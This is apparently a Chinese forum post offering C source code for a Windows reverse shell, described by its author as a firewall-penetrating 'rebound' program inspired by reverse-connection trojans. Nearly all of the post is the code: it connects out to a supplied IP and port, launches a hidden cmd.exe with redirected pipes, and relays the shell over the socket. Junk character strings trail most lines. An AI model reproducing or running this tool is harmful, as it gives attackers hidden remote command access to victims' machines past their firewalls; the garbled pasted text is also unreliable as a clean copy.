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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]vKxgfF  
>a_K:O|AJ  
/* ============================== 1;ZEuO  
Rebound port in Windows NT ~;bwfp_  
By wind,2006/7 <KHB/7  
===============================*/ O}IS{/^7  
#include bsqoR8  
#include Q6Jb]>g\H  
~X`vRSrH  
#pragma comment(lib,"wsock32.lib") 1REq.%/=  
Pvbw>k;  
void OutputShell(); _@?]!J[  
SOCKET sClient; w:z_EV!&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; r'xa' 6&  
-J? df  
void main(int argc,char **argv) f4@Dn >BJ  
{ {a% T <WW  
WSADATA stWsaData; BtU,1`El5  
int nRet; El"XF?OgpP  
SOCKADDR_IN stSaiClient,stSaiServer; 4XX21<yn  
M7jDV|Go  
if(argc != 3) R8":1 #&  
{ mN@0lfk;  
printf("Useage:\n\rRebound DestIP DestPort\n"); :*}tkr4&eh  
return; V :d/;~  
} hDmVv;M:  
&,NHk9.aq  
WSAStartup(MAKEWORD(2,2),&stWsaData); YdC:P# Nf  
]S;e#u{QE  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f)"O( c  
e[Q(OV5(R  
stSaiClient.sin_family = AF_INET; 8&dmH&  
stSaiClient.sin_port = htons(0);  0A pvuf1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w5qhKu!1  
v[ F_r  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ukG1<j7.  
{ 1AoBsEnd  
printf("Bind Socket Failed!\n"); dQ;rO$c o  
return; M}38uxP  
} *dUnP{6g  
DrMcE31  
stSaiServer.sin_family = AF_INET; Nm\I_wjX  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }=XL^a|V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g*Cs /w  
2Ybz`O!  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m#%5H  
{ ]!0*k#i_.  
printf("Connect Error!"); cC4*4bMm  
return; DPy"FQYZb  
} `@Kh>K  
OutputShell(); {/#?n["  
} atl0#FBd  
IGv>0LOd@  
void OutputShell() V4V TP]'n  
{ d&R/fIm  
char szBuff[1024]; I&>R]DV  
SECURITY_ATTRIBUTES stSecurityAttributes; iW)FjDTP  
OSVERSIONINFO stOsversionInfo; vcV=9q8P1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &?zJ|7rh@|  
STARTUPINFO stStartupInfo; @iWIgL  
char *szShell; p?Yovckm  
PROCESS_INFORMATION stProcessInformation; &Hh%pY"  
unsigned long lBytesRead; yDy3;*lE  
27,WP-qie  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (VBoZP=W  
sVh!5fby&  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1s!hl{n<~  
stSecurityAttributes.lpSecurityDescriptor = 0; H6'xXS  
stSecurityAttributes.bInheritHandle = TRUE; QD"V=}'?  
Q@]#fW\Y  
M%9PVePOe  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,`-6!|:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~rn82an@G  
&a48DCZ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); rBgLj,/`U/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;O{AYF?,N  
stStartupInfo.wShowWindow = SW_HIDE; |q5\1}@:  
stStartupInfo.hStdInput = hReadPipe; CXA)Zl5#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fyQAQZT  
=>ph\  
GetVersionEx(&stOsversionInfo); -Frx{3  
4fpz;2%  
switch(stOsversionInfo.dwPlatformId) B.&q]CA v-  
{ z,DEBRT+  
case 1: 0>E`9|   
szShell = "command.com"; WOgbz&S?J  
break; v\\Z[,dK  
default: 9LCV"xgX  
szShell = "cmd.exe"; ]^aece t  
break; -V4@BKI8  
} O\lt!p3F  
q[dls_  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); chfj|Ce]x  
w6#hsRq[C  
send(sClient,szMsg,77,0); i ]F,Y;&|  
while(1) Z;??j+`Eo  
{ :LcR<>LZ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i~l0XjQbs  
if(lBytesRead) Lxd*W2$3_  
{ {f3T !e{  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2} 509X(*  
send(sClient,szBuff,lBytesRead,0); jF-z?  
} 5 QMu=/  
else | L fH,6  
{ ,v)@&1Wh:  
lBytesRead=recv(sClient,szBuff,1024,0); .sjM$#V=  
if(lBytesRead<=0) break; z@<`]  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O`|'2x{[O  
} ]S%qfna e1  
} m=j7 vb  
ds7I .Q'  
return; uCUQxFp  
}
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